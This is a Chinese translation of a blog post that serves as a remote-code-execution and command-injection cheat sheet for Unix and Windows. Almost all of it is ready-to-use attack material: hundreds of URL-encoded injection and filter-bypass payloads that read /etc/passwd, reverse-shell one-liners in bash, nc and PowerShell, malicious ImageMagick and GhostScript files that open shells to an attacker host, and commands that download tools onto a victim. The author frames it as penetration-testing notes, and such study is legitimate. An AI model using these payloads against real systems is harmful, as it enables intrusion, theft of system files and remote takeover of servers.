一 前言
远程代码执行(RCE)使攻击者能够通过注入攻击执行恶意代码。代码注入攻击与命令注入攻击不同。攻击者的成果取决于服务器端的限制,在某些情况下，攻击者可能能够从代码注入升级为命令注入。远程代码攻击可能会完全破坏易受攻击的Web应用程序以及Web服务器。需要注意的是，几乎每种编程语言都有代码执行函数
二 Unix RCE
1 Top 46 RCE 参数
exec={payload} payload={payload}
command={payload} run={payload}
execute{payload} print={payload}
ping={payload} email={payload}
include={payload} id={payload}
exclude={payload} username={payload}
jump={payload} user={payload}
code={payload} to={payload}
reg={payload} from={payload}
do={payload} search={payload}
func={payload} query={payload}
arg={payload} q={payload}
option={payload} s={payload}
load={payload} shopId={payload}
process={payload} blogId={payload}
step={payload} phone={payload}
read={payload} mode={payload}
function={payload} next={payload}
req={payload} firstname={payload}
feature={payload} lastname={payload}
exe={payload} locale={payload}
module={payload} cmd={payload}
system={payload} sys={payload}
2 payload列表
3 危险字符逃逸
%7Cid
%7cid;pwd;uname -a
%26 id %26
%0aid%0a
%0a uname -a %0a
%27%0Awhoami%0A%27
%22%0Awhoami%0A%22
%5C%0Awhoami
%27%27%0Awhoami%0A%27%27
%2A%0Awhoami%0A
%2A%0Awhoami%0A%2A
%28%0Awhoami%0A%29
%60%0Aid%0A%60
%3B%0Awhoami%0A%3B
%2C%0Awhoami%0A%2C
%7C%0Awhoami
%7C%0Awhoami%0A%7C
%0a whoami %0a
%0Acat%20/etc/passwd
%7C%7Cid%0A
%2C%20id
%5Eid
%3Cid
%5Cid
%27%27id
%27%27id%27%27
%27%27id%27%27%26
%2Aid
%2Aid%2A
%2A%2Aid%2A%2A
%28id%29
%60id%60%26
%60id%60%20%26
%29%3Bid
%3Cid%3B
%29%3Bid%3B
%29%3Bid%7C
%29%7Cid
%29%7Cid%3B
%5Cid%3B
%5Cid%7C
%5Cid%5C
%22%20id
%27%20id
%7C%20id
%26%20id
%3B%20id
%0Did
%0Did%0D
%0Aid
%0Aid%0A
%2Cid
%3Bid
%3Bid%3B
%28id
%29id%20
%2Fid%20
%3Aid
%26%26%20id
%7C%7C%20id
%27id%27
%22id%22
%60id%60
%3Bid%7C
%3B%7Cid%7C
%7Cid%7C
%7C%7Cid
%7C%7Cid%7C
%7C%7Cid%3B
%7Cid%3B
%26id
%26id%26
%26%26id
%26%26id%26%26
%3Bid%2Fn
%3Cid%5Cn
%5Cnid
%5Cnid%5Cn
a%3Bid
a%29%3Bid
a%3Bid%3B
a%29%3Bid%7C
%22%2C%0Asystem%28%27ls%27%29%0A%3B%22
%27%0Aid%0A%27
%5C%0Awhoami%0A%5C
%26%0Awhoami%0A%26
%26%20id%20%26
%27%20%60id%60
%22%20%60id%60
%2C%20%60id%60
%7C%20%60id%60
%26%20%60id%60
%3B%20%60id%60
%27%20%60id%60%20%23
%22%20%60id%60%20%23
%2C%20%60id%60%20%23
%7C%20%60id%60%20%23
%3B%20%60id%60%20%23
%3Buname%20-a%3B
%26%26dir
%26%20uname%20-a%20%26
id%7C%7Cwhoami%3B
id%7Cwhoami%3B
id%26%26whoami%3B
id%26whoami%3B
127.0.0.1%3Bls
127.0.0.1%3Bi%22d
%3Bunam%22e%24%7BIFS%7D-a
%3Bl%22s%24%7BIFS%7D-la
%27i%27d
%22i%22d
%5Cu%5Cn%5Ca%5Cm%5Ce%20%5C-%5Ca
cat%24u%20%2Fetc%24u%2Fpasswd%24u
w%24%7Bu%7Dh%24%7Bu%7Do%24%7Bu%7Da%24%7Bu%7Dm%24%7Bu%7Di
i%24%28u%29d
i%60u%60d
%7Buname%2C-a%7D
cat%24%7BIFS%7D%2Fetc%2Fpasswd
cat%24IFS%2Fetc%2Fpasswd
%0aid%0a
%0Aid
%0Aid%0A
%0a whoami %0a
cat%24u%2B%2Fetc%24u%2Fpasswd%24u
%22%3Bcat%2B%2Fetc%2Fpasswd%2B%23
%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%24u
%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%2B%5C%23
%2F%3F%3F%3F%2F%3F%3Ft%2B%2F%3F%3F%3F%2F%3F%3Fss%3F%3F
%2F%3Fin%2Fcat%2B%2Fet%3F%2Fpassw%3F
%3B%2Bcat%2B%2Fe%27tc%2Fpass%27wd
c%5C%5Ca%5C%5Ct%2B%2Fet%5C%5Cc%2Fpas%5C%5Cswd
cat%20%2Fetc%24u%2Fpasswd
%28sy.%28st%29.em%29%28whoami%29%3B
%3Bcat%2B%2Fetc%2Fpasswd
%3Bcat%2B%2Fetc%2Fpasswd%2B%23
%3Bcat%24u%2B%2Fetc%24u%2Fpasswd%24u
%3Bcat%2520%2Fetc%2Fpasswd
%3Bcat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
%3Bcat%24u%20%2Fetc%24u%2Fpasswd%24u
%3B%7Bcat%2C%2Fetc%2Fpasswd%7D
%3Bcat%3C%2Fetc%2Fpasswd
%3Bcat%24IFS%2Fetc%2Fpasswd
%3Becho%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
%3B%2Fusr%2Fbin%2Fid%3B
%7Ccat%2520%2Fetc%2Fpasswd
%7Ccat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
%7Ccat%24u%20%2Fetc%24u%2Fpasswd%24u
%7C%7Bcat%2C%2Fetc%2Fpasswd%7D
%7Ccat%3C%2Fetc%2Fpasswd
%7Ccat%24IFS%2Fetc%2Fpasswd
%7Cecho%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
%7C%2Fusr%2Fbin%2Fid%7C
%7C%7Ccat%2520%2Fetc%2Fpasswd
%7C%7Ccat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
%7C%7Ccat%24u%20%2Fetc%24u%2Fpasswd%24u
%7C%7C%7Bcat%2C%2Fetc%2Fpasswd%7D
%7C%7Ccat%3C%2Fetc%2Fpasswd
%7C%7Ccat%24IFS%2Fetc%2Fpasswd
%7C%7Cecho%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
%7C%7C%2Fusr%2Fbin%2Fid%7C%7C
%26%26cat%2520%2Fetc%2Fpasswd
%26%26cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
%26%26cat%24u%20%2Fetc%24u%2Fpasswd%24u
%26%26%7Bcat%2C%2Fetc%2Fpasswd%7D
%26%26cat%3C%2Fetc%2Fpasswd
%26%26cat%24IFS%2Fetc%2Fpasswd
%26%26echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
%26%26%2Fusr%2Fbin%2Fid%26%26
%26cat%2520%2Fetc%2Fpasswd
%26cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
%26cat%24u%20%2Fetc%24u%2Fpasswd%24u
%26%7Bcat%2C%2Fetc%2Fpasswd%7D
%26cat%3C%2Fetc%2Fpasswd
%26cat%24IFS%2Fetc%2Fpasswd
%26echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
%26%2Fusr%2Fbin%2Fid%26
%60cat%2520%2Fetc%2Fpasswd%60
%60cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd%60
%60cat%24u%20%2Fetc%24u%2Fpasswd%24u%60
%60%7Bcat%2C%2Fetc%2Fpasswd%7D%60
%60cat%3C%2Fetc%2Fpasswd%60
%60cat%24IFS%2Fetc%2Fpasswd%60
%60echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd%60
%60%2Fusr%2Fbin%2Fid%60
%24%28cat%2520%2Fetc%2Fpasswd%29
%24%28cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd%29
%24%28cat%24u%20%2Fetc%24u%2Fpasswd%24u%29
%24%28%7Bcat%2C%2Fetc%2Fpasswd%7D%29
%24%28cat%3C%2Fetc%2Fpasswd%29
%24%28cat%24IFS%2Fetc%2Fpasswd%29
%24%28echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd%29
%24%28%2Fusr%2Fbin%2Fid%29
cat%20%2Fetc%24u%2Fpasswd
%28sy.%28st%29.em%29%28whoami%29%3B
%3Bcat%2B%2Fetc%2Fpasswd
%3Bcat%2B%2Fetc%2Fpasswd%2B%23
%3Bcat%24u%2B%2Fetc%24u%2Fpasswd%24u
%253B%2524%257B%2540print%2528md5%2528%2522whoami0%2522%2529%2529%257D%253B
%24%7B%40system%28%22id%22%29%7D
%7Cuname%20-a%2B%7C%7Ca%2B%23%27%2B%7Cls%2B-la%7Ca%2B%23%7C%22%2B%7Cls%2B-la%7C%7Ca%2B%23
%22%2Csystem%28%27ls%27%29%3B%22
%24%7B%40phpinfo%28%29%7D
%3Bphpinfo%28%29%3B
%3Bphpinfo
%3Bsystem%28%27cat%2520%2Fetc%2Fpasswd%27%29
%3Bsystem%28%27id%27%29
%24%28id%29
%3B%24%7B%40print%28md5%28whoami%29%29%7D
%3B%24%7B%40print%28md5%28%22whoami%22%29%29%7D
%24%3Bid
%24%28%60cat%20%2Fetc%2Fpasswd%60%29
%7B%7B%20get_user_file%28%22%2Fetc%2Fpasswd%22%29%20%7D%7D
%3C%21--%23exec%20cmd%3D%22id%3B--%3E
system%28%27cat%20%2Fetc%2Fpasswd%27%29%3B
%3C%3Fphp%20system%28%22cat%20%2Fetc%2Fpasswd%22%29%3B%3F%3E
php%20-r%20%27var_dump%28exec%28%22id%22%29%29%3B%27
%26lt%3B%21--%23exec%2520cmd%3D%26quot%3Bid%3B--%26gt%3B
cat%24u%2B%2Fetc%24u%2Fpasswd%24u
%2Fbin%24u%2Fbash%24u%20%3Cip%3E%20%3Cport%3E
%22%3Bcat%2B%2Fetc%2Fpasswd%2B%23
%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%24u
%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%2B%5C%23
%2F%3F%3F%3F%2F%3F%3Ft%2B%2F%3F%3F%3F%2F%3F%3Fss%3F%3F
%2F%3Fin%2Fcat%2B%2Fet%3F%2Fpassw%3F
%3B%2Bcat%2B%2Fe%27tc%2Fpass%27wd
c%5C%5Ca%5C%5Ct%2B%2Fet%5C%5Cc%2Fpas%5C%5Cswd
<id%0D
<id%0A
4 RCE bypass
'
whoami
'
"
whoami
"
`
whoami
`
;
whoami
;
,
whoami
,
|
whoami
|
whoami
|
\
whoami
''
whoami
''
*
whoami
*
whoami
*
(
whoami
)
\
whoami
\
举几个例子如下所示:
5 反弹shell
nc -l 1337
curl https://reverse-shell.sh/yourip:1337 | sh
Reverse Shell Generator:
https://www.revshells.com
6 真实案例
经过测试我发现include参数容易受到rce的攻击,更改参数值如下所示
请求出错(原文中说该请求被WAF拦截,其实是没用进行url编码有空格导致的服务器无法理解请求)
将该payload进行url编码
最终的bypass payload如下
%27%0a%77%68%6f%61%6d%69%20%26%26%20%69%64%20%26%26%20%75%6e%61%6d%65%20%2d%61%20%26%26%20%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%0a%27触发RCE:
三 文件上传中的RCE
1 Imagemagick rce
将下面内容保存为test.gif或者test.jpg
1.
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL3lvdXJpcC95b3VycG9ydCAwPiYx | base64 -d | bash`"||id " )'
pop graphic-context
2.
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/yourip/yourport 0<&1 2>&1'
pop graphic-context
pop graphic-context
3.
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%ncat yourip yourport -e /bin/sh) currentdevice putdeviceprops
4.
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/yourip/yourport 0>&1') currentdevice putdeviceprops
将下面内容保存为poc.xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg"|/bin/nc.traditional yourip yourport -e /bin/bash""
x="0" y="0" height="640px" width="480px"/>
</svg>
2 GhostScript Rce
将下面内容保存为 test.gif 或者 test.jpg
1.
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/yourip/yourport 0>&1') currentdevice putdeviceprops
2.
%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%bash -c 'bash -i >& /dev/tcp/yourip/yourport 0>&1') (w) file
3.
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/yourip/yourport 0>&1') currentdevice putdeviceprops
4.
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%curl http://inputburpcollaborator) currentdevice putdeviceprops
将下面内容保存为poc.pdf
%!PS
currentdevice null true mark /OutputICCProfile (%pipe%curl http://inputburpcollaborator)
.putdeviceparams
quit
相关工具:
在上传功能中查找Rce漏洞的工具:
https://github.com/modzero/mod0BurpUploadScanner.git
查找rce漏洞（框架/库）的不错工具, PHPGGC:
https://github.com/ambionics/phpggc
四 windows RCE
payload列表
".system('dir')."
' dir
' || dir
' & dir
' && dir
'; dir
" dir
" || dir
" | dir
" & dir
" && dir
"; dir
dir
$(`dir`)
&&dir
| dir C:\
; dir C:\
& dir C:\
&& dir C:\
dir C:\
| dir
; dir
& dir
&& dir
| ipconfig /all
; ipconfig /all
& ipconfig /all
&& ipconfig /all
ipconfig /all
|| phpinfo()
| phpinfo()
{${phpinfo()}}
;phpinfo()
;phpinfo();//
';phpinfo();//
{${phpinfo()}}
& phpinfo()
&& phpinfo()
phpinfo()
phpinfo();
危险字符逃逸
%27%20dir
%27%20%7C%7C%20dir
%27%20%26%20dir
%27%20%26%26%20dir
%27%3B%20dir
%22%20dir
%22%20%7C%7C%20dir
%22%20%7C%20dir
%22%20%26%20dir
%22%20%26%26%20dir
%22%3B%20dir
%22.system%28%27dir%27%29.%22
%24%28%60dir%60%29
%26%26dir
%7C%20dir%20C%3A%5C
%3B%20dir%20C%3A%5C
%26%20dir%20C%3A%5C
%26%26%20dir%20C%3A%5C
dir%20C%3A%5C
%7C%20dir
%3B%20dir
%26%20dir
%26%26%20dir
+dir+c:\+|
+|+dir+c:\+|
+|+dir+c:%2f+|
dir+c:\
||+dir|c:\
+|+Dir+c:\
+|+Dir+c:%255c
+|+Dir+c:%2f
$+|+Dir+c:\
$+|+Dir+c:%255c
$+|+Dir+c:%2f
%26%26+|+dir c:\
%0a+dir+c:\
%26%26+|+dir c:%2f
$%26%26dir+c:%2f
%0a+dir+c:%2f
%0a+dir+c:%255c
$%26%26dir c:\
%26%26+|+dir c:%255c
$%26%26dir+c:%255c
%20{${phpinfo()}}
反弹shell
nc -nvlp 443
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('your ip',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.T
ext.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII
).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$c
lient.Close()"
or
powershell -NoP -NonI -W Hidden -Exec Bypass "& {$ps=$false;$hostip='your ip';$port=443;$client = New-Object System.Net.Sockets.TCPClient($hostip,$port);$stream = $client.GetStream();[byte[]]$bytes = 0..50000|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$cmd=(get-childitem Env:ComSpec).value;$inArray=$data.split();$item=$inArray[0];if(($item -eq '$ps') -and ($ps -eq $false)){$ps=$true}if($item -like '?:'){$item='d:'}[email protected]('cd','exit','d:','pwd','ls','ps','rm','cp','mv','cat');$do=$false;foreach ($i in $myArray){if($item -eq $i){$do=$true}}if($do -or $ps){$sendback=( iex $data 2>&1 |Out-String)}else{$data2='/c '+$data;$sendback = ( &$cmd $data2 2>&1 | Out-String)};if($ps){$prompt='PS ' + (pwd).Path}else{$prompt=(pwd).Path}$sendback2 = $data + $sendback + $prompt + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"
生成反弹shell的网址:
https://www.revshells.com
下载文件
powershell -c "(new-object
System.Net.WebClient).DownloadFile('https://eternallybored.org/misc/wget/1.21.1/64/wget.exe','C:\Users\admin\Desktop\wget.exe')"
powershell iwr -uri http://10.10.16.97:8000/chisel.exe -outfile ch.exe # also works in PS ConstrainLanguageMode
五 总结
burpsuite中发现RCE漏洞的最佳插件(Unix和Windows): https://github.com/ewilded/shelling
最佳命令注入攻击工具: https://github.com/commixproject/commix
此文为翻译文章,主要是总结的内容挺全面的,在测试中确实帮我绕过了一些命令执行的限制，如有问题或者不明白的问题可以直接留言我看到会更改的。
原文地址: https://ansar0047.medium.com/remote-code-execution-unix-and-windows-4ed3367158b3
BY:先知论坛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论